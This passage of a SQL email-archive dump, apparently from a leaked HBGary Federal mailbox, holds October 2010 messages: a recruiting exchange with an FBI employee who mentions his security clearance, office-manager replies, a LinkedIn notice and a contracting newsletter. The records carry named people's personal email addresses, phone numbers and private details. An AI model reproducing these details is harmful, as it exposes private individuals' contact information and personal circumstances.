LLC\r\n>>>>>>>> 719.510.8478\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>\r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal, LLC\r\n>>>>>> 719.510.8478\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>>>\r\n>>>>\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal, LLC\r\n>>>> 719.510.8478\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal, LLC\r\n>> 719.510.8478\r\n>>\r\n>>\r\n>>\r\n>>\r\n',14127,'aaron_hbgary_com/14127.html'),(12808,'2010-10-07','\"Jason Mueller\" <jmueller2004@gmail.com>','/aaron@hbgary.com/new/1297009405.M918874P14101Q7663.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Potentially Available Talent','Aaron,\r\n\r\nAre you flexible for 1230 today?  Last minute meeting popped up at\r\n1130 which should last 30mins or so.  Just don\'t want you waiting\r\naround for me at noon and I end up being late, wouldn\'t make for a\r\ngood first impression =/\r\n\r\nR/\r\n\r\nJason\r\n\r\nOn Thu, Oct 7, 2010 at 9:26 AM, Jason Mueller  wrote:\r\n> Sounds great!  Also, I hold a TS/SCI w/CI poly.  Not too sure if the\r\n> poly is still active however taking another CI is no big deal.\r\n>\r\n> R/\r\n>\r\n> Jason\r\n>\r\n> On Thu, Oct 7, 2010 at 9:21 AM, Aaron Barr  wrote:\r\n>> Hey Jason,\r\n>>\r\n>> Sounds good.  How does 12pm sound at Gordon Biersch.\r\n>>\r\n>> Sorry.  Tickets = Clearances.\r\n>>\r\n>> Aaron\r\n>>\r\n>>\r\n>> On Oct 7, 2010, at 8:22 AM, Jason Mueller wrote:\r\n>>\r\n>>> Aaron,\r\n>>>\r\n>>> I\'m free for lunch today.  I\'m located at FBI HQ so anywhere in the\r\n>>> vicinity works for me, however Gordon Biersch is usually the easiest\r\n>>> given the proximity to the Metro Center station.  Monday is a holiday\r\n>>> so I will be off and Tuesday is the final walk through of my newly\r\n>>> constructed home so I will be out then as well.  Let me know what you\r\n>>> think and we can plan from there.\r\n>>>\r\n>>> Palantir rocks and I\'m sure it\'ll be a great event however that\r\n>>> Tuesday afternoon I plan on making it up to Mandiant\'s MIRCon to have\r\n>>> a few cocktails with friends.\r\n>>>\r\n>>> BTW,tickets?\r\n>>>\r\n>>> R/\r\n>>>\r\n>>> Jason\r\n>>>\r\n>>> On Wed, Oct 6, 2010 at 11:32 PM, Aaron Barr  wrote:\r\n>>>> Hi Jason,\r\n>>>>\r\n>>>> Sorry for going dark.  Multiple presentation preparing for just gets me a bit distracted.  I am pretty open tomorrow.  Friday I am up in MD.  Monday I am open for lunch.  Tuesday I will be giving a Threat Intelligence presentation at the Palantir GovCon6.  Other days available next week after that.  Let me know.\r\n>>>>\r\n>>>> BTW.  What tickets do you have? :)\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>>\r\n>>>> On Oct 1, 2010, at 9:09 PM, Jason Mueller wrote:\r\n>>>>\r\n>>>>> Aaron,\r\n>>>>>\r\n>>>>> Let me know when you\'re free for lunch next week.  I\'m unavailable on the 6th however any other day besides then will work.  Looking forward to meeting!\r\n>>>>>\r\n>>>>> R/\r\n>>>>>\r\n>>>>> Jason Mueller\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> On Sep 24, 2010, at 11:29 PM, Aaron Barr wrote:\r\n>>>>>\r\n>>>>>> Hi Jason,\r\n>>>>>>\r\n>>>>>> Sorry for the delay.  a few hours after doing the podcast my wife called with immense pain.  Turns out she had kidney stones (ouch).  So thats turned things around quite a bit since then.  Lets get together when I get back and I can fill you in on all the existing and future positions we are going to be looking to fill.  Except for the 5th I am pretty open the week I get back.\r\n>>>>>>\r\n>>>>>> Aaron\r\n>>>>>>\r\n>>>>>> On Sep 23, 2010, at 2:36 PM, Jason Mueller wrote:\r\n>>>>>>\r\n>>>>>>> Aaron,\r\n>>>>>>>\r\n>>>>>>> Thanks again for coming on the show, we definitely appreciate you\r\n>>>>>>> taking time out of your busy day to speak with us.  I\'m interested in\r\n>>>>>>> speaking further when you get back from your trip to Seattle.  Do you\r\n>>>>>>> happen to have Federal SE positions available as well?  Let me know\r\n>>>>>>> when you get a chance.\r\n>>>>>>>\r\n>>>>>>> R/\r\n>>>>>>>\r\n>>>>>>> Jason Mueller\r\n>>>>>>>\r\n>>>>>>> On Tue, Sep 21, 2010 at 10:09 PM, Aaron Barr  wrote:\r\n>>>>>>>> Hey Jason,\r\n>>>>>>>>\r\n>>>>>>>> Checking in on your status and that of some of your coworkers.  Interested to talk with you about what we have available and in our pipeline, where we are going (you will get a good feel for that tomorrow during the podcast as well).  If still of interest I would like to get some information on the folks you were talking about (including yourself).\r\n>>>>>>>>\r\n>>>>>>>> Aaron Barr\r\n>>>>>>>> CEO\r\n>>>>>>>> HBGary Federal, LLC\r\n>>>>>>>> 719.510.8478\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>\r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal, LLC\r\n>>>>>> 719.510.8478\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>>>\r\n>>>>\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal, LLC\r\n>>>> 719.510.8478\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal, LLC\r\n>> 719.510.8478\r\n>>\r\n>>\r\n>>\r\n>>\r\n>\r\n',9504,'aaron_hbgary_com/9504.html'),(12809,'2010-10-07','\"Jason Mueller\" <jmueller2004@gmail.com>','/aaron@hbgary.com/new/1297009406.M185017P14101Q7664.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Potentially Available Talent','Sure, can I call you in 5 mins?\r\n\r\nR/\r\n\r\nJason\r\n\r\nOn Thu, Oct 7, 2010 at 10:53 AM, Aaron Barr  wrote:\r\n> U can give me a call if u want\r\n> 7195108478\r\n>\r\n> From my iPhone\r\n>\r\n> On Oct 7, 2010, at 9:26 AM, Jason Mueller  wrote:\r\n>\r\n>> Sounds great!  Also, I hold a TS/SCI w/CI poly.  Not too sure if the\r\n>> poly is still active however taking another CI is no big deal.\r\n>>\r\n>> R/\r\n>>\r\n>> Jason\r\n>>\r\n>> On Thu, Oct 7, 2010 at 9:21 AM, Aaron Barr  wrote:\r\n>>> Hey Jason,\r\n>>>\r\n>>> Sounds good.  How does 12pm sound at Gordon Biersch.\r\n>>>\r\n>>> Sorry.  Tickets = Clearances.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>>\r\n>>> On Oct 7, 2010, at 8:22 AM, Jason Mueller wrote:\r\n>>>\r\n>>>> Aaron,\r\n>>>>\r\n>>>> I\'m free for lunch today.  I\'m located at FBI HQ so anywhere in the\r\n>>>> vicinity works for me, however Gordon Biersch is usually the easiest\r\n>>>> given the proximity to the Metro Center station.  Monday is a holiday\r\n>>>> so I will be off and Tuesday is the final walk through of my newly\r\n>>>> constructed home so I will be out then as well.  Let me know what you\r\n>>>> think and we can plan from there.\r\n>>>>\r\n>>>> Palantir rocks and I\'m sure it\'ll be a great event however that\r\n>>>> Tuesday afternoon I plan on making it up to Mandiant\'s MIRCon to have\r\n>>>> a few cocktails with friends.\r\n>>>>\r\n>>>> BTW,tickets?\r\n>>>>\r\n>>>> R/\r\n>>>>\r\n>>>> Jason\r\n>>>>\r\n>>>> On Wed, Oct 6, 2010 at 11:32 PM, Aaron Barr  wrote:\r\n>>>>> Hi Jason,\r\n>>>>>\r\n>>>>> Sorry for going dark.  Multiple presentation preparing for just gets me a bit distracted.  I am pretty open tomorrow.  Friday I am up in MD.  Monday I am open for lunch.  Tuesday I will be giving a Threat Intelligence presentation at the Palantir GovCon6.  Other days available next week after that.  Let me know.\r\n>>>>>\r\n>>>>> BTW.  What tickets do you have? :)\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>>\r\n>>>>>\r\n>>>>> On Oct 1, 2010, at 9:09 PM, Jason Mueller wrote:\r\n>>>>>\r\n>>>>>> Aaron,\r\n>>>>>>\r\n>>>>>> Let me know when you\'re free for lunch next week.  I\'m unavailable on the 6th however any other day besides then will work.  Looking forward to meeting!\r\n>>>>>>\r\n>>>>>> R/\r\n>>>>>>\r\n>>>>>> Jason Mueller\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> On Sep 24, 2010, at 11:29 PM, Aaron Barr wrote:\r\n>>>>>>\r\n>>>>>>> Hi Jason,\r\n>>>>>>>\r\n>>>>>>> Sorry for the delay.  a few hours after doing the podcast my wife called with immense pain.  Turns out she had kidney stones (ouch).  So thats turned things around quite a bit since then.  Lets get together when I get back and I can fill you in on all the existing and future positions we are going to be looking to fill.  Except for the 5th I am pretty open the week I get back.\r\n>>>>>>>\r\n>>>>>>> Aaron\r\n>>>>>>>\r\n>>>>>>> On Sep 23, 2010, at 2:36 PM, Jason Mueller wrote:\r\n>>>>>>>\r\n>>>>>>>> Aaron,\r\n>>>>>>>>\r\n>>>>>>>> Thanks again for coming on the show, we definitely appreciate you\r\n>>>>>>>> taking time out of your busy day to speak with us.  I\'m interested in\r\n>>>>>>>> speaking further when you get back from your trip to Seattle.  Do you\r\n>>>>>>>> happen to have Federal SE positions available as well?  Let me know\r\n>>>>>>>> when you get a chance.\r\n>>>>>>>>\r\n>>>>>>>> R/\r\n>>>>>>>>\r\n>>>>>>>> Jason Mueller\r\n>>>>>>>>\r\n>>>>>>>> On Tue, Sep 21, 2010 at 10:09 PM, Aaron Barr  wrote:\r\n>>>>>>>>> Hey Jason,\r\n>>>>>>>>>\r\n>>>>>>>>> Checking in on your status and that of some of your coworkers.  Interested to talk with you about what we have available and in our pipeline, where we are going (you will get a good feel for that tomorrow during the podcast as well).  If still of interest I would like to get some information on the folks you were talking about (including yourself).\r\n>>>>>>>>>\r\n>>>>>>>>> Aaron Barr\r\n>>>>>>>>> CEO\r\n>>>>>>>>> HBGary Federal, LLC\r\n>>>>>>>>> 719.510.8478\r\n>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>\r\n>>>>>>> Aaron Barr\r\n>>>>>>> CEO\r\n>>>>>>> HBGary Federal, LLC\r\n>>>>>>> 719.510.8478\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>\r\n>>>>>\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal, LLC\r\n>>>>> 719.510.8478\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal, LLC\r\n>>> 719.510.8478\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>\r\n',7898,'aaron_hbgary_com/7898.html'),(12810,'2010-10-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009406.M400279P14101Q7665.eml','\"Jason Mueller\" <jmueller2004@gmail.com>','Re: Potentially Available Talent','Sure\r\n\r\nFrom my iPhone\r\n\r\nOn Oct 7, 2010, at 10:57 AM, Jason Mueller  wrote:\r\n\r\n> Sure, can I call you in 5 mins?\r\n>\r\n> R/\r\n>\r\n> Jason\r\n>\r\n> On Thu, Oct 7, 2010 at 10:53 AM, Aaron Barr  wrote:\r\n>> U can give me a call if u want\r\n>> 7195108478\r\n>>\r\n>> From my iPhone\r\n>>\r\n>> On Oct 7, 2010, at 9:26 AM, Jason Mueller  wrote:\r\n>>\r\n>>> Sounds great!  Also, I hold a TS/SCI w/CI poly.  Not too sure if the\r\n>>> poly is still active however taking another CI is no big deal.\r\n>>>\r\n>>> R/\r\n>>>\r\n>>> Jason\r\n>>>\r\n>>> On Thu, Oct 7, 2010 at 9:21 AM, Aaron Barr  wrote:\r\n>>>> Hey Jason,\r\n>>>>\r\n>>>> Sounds good.  How does 12pm sound at Gordon Biersch.\r\n>>>>\r\n>>>> Sorry.  Tickets = Clearances.\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>>\r\n>>>> On Oct 7, 2010, at 8:22 AM, Jason Mueller wrote:\r\n>>>>\r\n>>>>> Aaron,\r\n>>>>>\r\n>>>>> I\'m free for lunch today.  I\'m located at FBI HQ so anywhere in the\r\n>>>>> vicinity works for me, however Gordon Biersch is usually the easiest\r\n>>>>> given the proximity to the Metro Center station.  Monday is a holiday\r\n>>>>> so I will be off and Tuesday is the final walk through of my newly\r\n>>>>> constructed home so I will be out then as well.  Let me know what you\r\n>>>>> think and we can plan from there.\r\n>>>>>\r\n>>>>> Palantir rocks and I\'m sure it\'ll be a great event however that\r\n>>>>> Tuesday afternoon I plan on making it up to Mandiant\'s MIRCon to have\r\n>>>>> a few cocktails with friends.\r\n>>>>>\r\n>>>>> BTW,tickets?\r\n>>>>>\r\n>>>>> R/\r\n>>>>>\r\n>>>>> Jason\r\n>>>>>\r\n>>>>> On Wed, Oct 6, 2010 at 11:32 PM, Aaron Barr  wrote:\r\n>>>>>> Hi Jason,\r\n>>>>>>\r\n>>>>>> Sorry for going dark.  Multiple presentation preparing for just gets me a bit distracted.  I am pretty open tomorrow.  Friday I am up in MD.  Monday I am open for lunch.  Tuesday I will be giving a Threat Intelligence presentation at the Palantir GovCon6.  Other days available next week after that.  Let me know.\r\n>>>>>>\r\n>>>>>> BTW.  What tickets do you have? :)\r\n>>>>>>\r\n>>>>>> Aaron\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> On Oct 1, 2010, at 9:09 PM, Jason Mueller wrote:\r\n>>>>>>\r\n>>>>>>> Aaron,\r\n>>>>>>>\r\n>>>>>>> Let me know when you\'re free for lunch next week.  I\'m unavailable on the 6th however any other day besides then will work.  Looking forward to meeting!\r\n>>>>>>>\r\n>>>>>>> R/\r\n>>>>>>>\r\n>>>>>>> Jason Mueller\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>> On Sep 24, 2010, at 11:29 PM, Aaron Barr wrote:\r\n>>>>>>>\r\n>>>>>>>> Hi Jason,\r\n>>>>>>>>\r\n>>>>>>>> Sorry for the delay.  a few hours after doing the podcast my wife called with immense pain.  Turns out she had kidney stones (ouch).  So thats turned things around quite a bit since then.  Lets get together when I get back and I can fill you in on all the existing and future positions we are going to be looking to fill.  Except for the 5th I am pretty open the week I get back.\r\n>>>>>>>>\r\n>>>>>>>> Aaron\r\n>>>>>>>>\r\n>>>>>>>> On Sep 23, 2010, at 2:36 PM, Jason Mueller wrote:\r\n>>>>>>>>\r\n>>>>>>>>> Aaron,\r\n>>>>>>>>>\r\n>>>>>>>>> Thanks again for coming on the show, we definitely appreciate you\r\n>>>>>>>>> taking time out of your busy day to speak with us.  I\'m interested in\r\n>>>>>>>>> speaking further when you get back from your trip to Seattle.  Do you\r\n>>>>>>>>> happen to have Federal SE positions available as well?  Let me know\r\n>>>>>>>>> when you get a chance.\r\n>>>>>>>>>\r\n>>>>>>>>> R/\r\n>>>>>>>>>\r\n>>>>>>>>> Jason Mueller\r\n>>>>>>>>>\r\n>>>>>>>>> On Tue, Sep 21, 2010 at 10:09 PM, Aaron Barr  wrote:\r\n>>>>>>>>>> Hey Jason,\r\n>>>>>>>>>>\r\n>>>>>>>>>> Checking in on your status and that of some of your coworkers.  Interested to talk with you about what we have available and in our pipeline, where we are going (you will get a good feel for that tomorrow during the podcast as well).  If still of interest I would like to get some information on the folks you were talking about (including yourself).\r\n>>>>>>>>>>\r\n>>>>>>>>>> Aaron Barr\r\n>>>>>>>>>> CEO\r\n>>>>>>>>>> HBGary Federal, LLC\r\n>>>>>>>>>> 719.510.8478\r\n>>>>>>>>>>\r\n>>>>>>>>>>\r\n>>>>>>>>>>\r\n>>>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>> Aaron Barr\r\n>>>>>>>> CEO\r\n>>>>>>>> HBGary Federal, LLC\r\n>>>>>>>> 719.510.8478\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>\r\n>>>>>>\r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal, LLC\r\n>>>>>> 719.510.8478\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>>\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal, LLC\r\n>>>> 719.510.8478\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>\r\n',2777,'aaron_hbgary_com/2777.html'),(12811,'2010-10-07','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297009406.M710639P14101Q7666.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Marketing Material and other items','Yes, you should receive the box on Friday. \r\n\r\nDeeAnn Buonaccorsi\r\nOffice Manager\r\nHBGary, Inc.\r\n3604 Fair Oaks Blvd.  Suite 250\r\nSacramento, CA  95864\r\nTel:  916-459-4727 ext. 101\r\nFax: 916-481-1460\r\nEmail  deeann@hbgary.com\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, October 07, 2010 6:41 AM\r\nTo: DeeAnn Buonaccorsi\r\nSubject: Marketing Material and other items\r\n\r\nHi DeeAnn,\r\n\r\nAre you sending these other items to my house as well?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n',6478,'aaron_hbgary_com/6478.html'),(12812,'2010-10-07','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297009406.M990381P14101Q7667.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Signed Contingent Offer','No I did not. \r\n\r\nDeeAnn Buonaccorsi\r\nOffice Manager\r\nHBGary, Inc.\r\n3604 Fair Oaks Blvd.  Suite 250\r\nSacramento, CA  95864\r\nTel:  916-459-4727 ext. 101\r\nFax: 916-481-1460\r\nEmail  deeann@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, October 06, 2010 8:35 PM\r\nTo: DeeAnn Buonaccorsi\r\nSubject: Signed Contingent Offer\r\n\r\nDeeAnn,\r\n\r\nDid you happen to get a signed contingent offer fax from a guy by the name\r\nof Aaron Spring?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n',6689,'aaron_hbgary_com/6689.html'),(12813,'2010-10-07','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297009407.M206520P14101Q7668.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Amanda has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Amanda are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                \r\n                \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Amanda Windle \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Business Development at ManTech\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Amanda\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Defense &amp; Space Industry \r\n                        \r\n                        \r\n                          amanda.windle@etginc.com\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Amanda\'s Connections (61) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Carol Williamson\r\n                ,\r\n                  Business Development Manager at Mission Essential Personnel, LLC\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Pat Gilhuly\r\n                ,\r\n                  Executive Director at ManTech MCTS\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 David Goldberg\r\n                ,\r\n                  Director, Information Sharing at ManTech MCTS\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Niles Akens\r\n                ,\r\n                  Senior Consultant at Mandiant\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Amanda\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n              \r\n                 \r\n                     ManTech\r\n                    \r\n                      Amanda works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n              \r\n                 \r\n                     ManTech SMA\r\n                    \r\n                      Amanda worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                  \r\n                     \r\n            \r\n                \r\n             \r\n              \r\n                 \r\n                     Chenega Technology Services Corporation\r\n                    \r\n                      Amanda worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n              \r\n                 \r\n                     Booz Allen Hamilton\r\n                    \r\n                      Amanda knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',1418,'aaron_hbgary_com/1418.html'),(12814,'2010-10-07','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297009407.M474823P14101Q7669.eml','aaron@hbgary.com','Mexican Border Tension Leading to Government Contracting Dollars?','\r\n\r\n\r\n\r\nView In\r\n Browser&nbsp;\r\n\r\n\r\n&nbsp;Sign Up&nbsp;| &nbsp;&nbsp; Forward&nbsp;&nbsp;&nbsp;\r\n |&nbsp;&nbsp;&nbsp; Visit Our Blog&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp; Jobs &nbsp;&nbsp; |&nbsp;&nbsp;&nbsp; About Us &nbsp; &nbsp;\r\n October 7,\r\n 2010\r\n\r\n\r\n\r\n\r\n\r\nbyJim\r\n GarrettsonCould\r\n Border Heat Lead to More Contracting Dollars? This year has seen more than its\r\n share of controversy over illegal immigration. SBINet, the \"virtual fence\" at our\r\n southern border, was defunded, Arizona passed SB 1070, and Beltway pundits have\r\n expounded on the need for comprehensive immigration reform.&nbsp;Click here to read\r\n more \r\n\r\nCSC\r\n Buys Vulnerability Research Labs to Boost Cyber Biz; VP Sam Visner\r\n Comments CSC (NYSE: CSC) has purchased Vulnerability Research Labs (VRL), a\r\n privately held cyber-threat intelligence firm.&nbsp; Click here to read\r\n moreDefense Consolidation: The End of\r\n In-Sourcing? In March, the Government Accountability Office released a report\r\n updating long-term fiscal projections and predicting an \"unsustainable\" growth in\r\n the federal deficit &#8211; reaching World War II highs as early as 2020.\r\n Click here to read\r\n more&nbsp;Will Cuts to Defense Spending\r\n Mean More Bid Protests? Over the past year, the Pentagon has cut almost $340\r\n billion in life-cycle costs for major procurement programs, prompting many\r\n industry experts to speculate that a major industry consolidation is ahead.&nbsp;\r\n As competition heats up for billion-dollar projects that are still on the table,\r\n like the KC-X tanker contract, it remains to be seen how bid protests will be\r\n affected.&nbsp; After all, protesting a contract award is definitely one way to\r\n win after losing a bid.&nbsp;&nbsp;Click here to read\r\n more&nbsp;End of\r\n Iraq:&nbsp; What Happens to Our Stuff?\r\n As the post-Iraq drawdown gets underway, 3.4 million pieces of military\r\n hardware will need to leave the country.&nbsp; Many have already been repaired and\r\n shipped to new theaters of operation,&nbsp; and thousands more are waiting for\r\n repairs at support bases around the Middle East.&nbsp; However, despite the fact\r\n that overseas support contractors were exempt from Secretary Gates\' push to\r\n eliminate 33,000 contractor positions from DoD\'s payroll, some major changes are\r\n coming to logistics support contracting.&nbsp; Click here to read more\r\n\r\n\r\nTop 9\r\n Strategies to Ensure Company Growth in\r\n 2011To give you\r\n ideas on how to&nbsp;come out ahead, ExecutiveBiz asked nine top contracts leaders\r\n (below) within government contracting on how they\'re prospering &#8212; and\r\n planning for future growth. Check out their best practices to grow now and into\r\n 2011. \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nTop, from\r\n left:&nbsp; Glenn Baer, ARINC; Mark Connel, SRA; Lora Drewer, CACI Middle,\r\n from left: Cynthia Hyland, Northrop Grumman; Jeff Johnson, USIS; Joe Kopfman,\r\n AMERICAN SYSTEMS Bottom, from\r\n left: Kathryn Mihalich, Microsoft; Phyllis Turvey, Alion; Joanne\r\n Newman, L-3&nbsp;\r\n&nbsp;Click here to read\r\n more \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n&nbsp;\"Fight for Children presents Fight Night\" \r\n\r\n\r\n\"The Community Foundation for\r\n Northern Virginia Presents the 2010 Community Needs Community Giving Gala Honoring\r\n Booz Allen Hamilton\"\r\n\r\n\"The National Kidney Foundation Presents\r\n Kidney Ball 2010\" \r\n&nbsp;\r\n\r\n\r\n\r\n\r\nNew HP CEO Leo\r\n Apotheker Described as \'Strategic Thinker\' \r\nUSIS\' VP,\r\n Contracts Jeff Johnson on How to Grow Your Business, Increase Team Success\r\nCS-Three:\r\n Trio of Technical Areas for CSC in $2.8 Billion SSA IT Deal; James Sheaffer\r\n Remarks\r\nRoger\r\n That: Harris Gets Order for Tactical Combat Radios\r\nMITRE,\r\n Boeing, Booz Allen, L-3 Pick Up Defense Contracts\r\nHarris\r\n Healthcare Program CONNECT Honored; Jim Traficant Comments\r\nManTech\r\n Acquires QinetiQ\'s Security and Intelligence Solutions Business for $60M; George\r\n Pedersen Comments Click Here for More GovConwire\r\n \r\n&nbsp;\r\n\r\n\r\nLockheed Wins\r\n Role on IT Contract for CDC\r\nReport:\r\n Cybersecurity Hurts Productivty among Federal Executives\r\nDefense\r\n Contractors Find New Roles in Evolving Market with Focus on Cyber,\r\n ISR\r\nNew\r\n Joint Venture Harris Atlas to Deliver Intelligence Solutions in the Middle\r\n East\r\nCSC\r\n Snags Piece of $2.8 Billion IT Contract from SSA\r\nClick Here for More from The New New\r\n Internet &nbsp;\r\n\r\n\r\nLockheed Martin\r\n to Combat Energy, Water Problems in Government Agencies \r\nHP Picks\r\n Leo Apotheker as New CEO\r\nManTech\r\n Buys QinetiQ\'s S&IS Business\r\nCSC to\r\n Continue HR, Procurement, IT Support to NASA\r\nDeltek to\r\n Acquire INPUT for $60 MillionClick Here\r\n for More from GovCon Executive \r\n\r\nCybersecurity\r\n Month Kicks Off; Cyber Bill Stalls in Congress \r\nPhoning\r\n It In: Senate Passes Teleworking Bill\r\nDHS Small\r\n Business Preparedness Plan Going Ahead\r\nDeloitte\r\n Report: Areas of Global Growth for Contractors\r\nHouse\r\n Panel Skeptical of JFCOM Closing, Pentagon\r\n CutsClick Here\r\n for More from ExecutiveGov \r\n\r\n&nbsp;\r\n\r\n\r\nIBM and NISC, six months\r\n later: Acquisition a 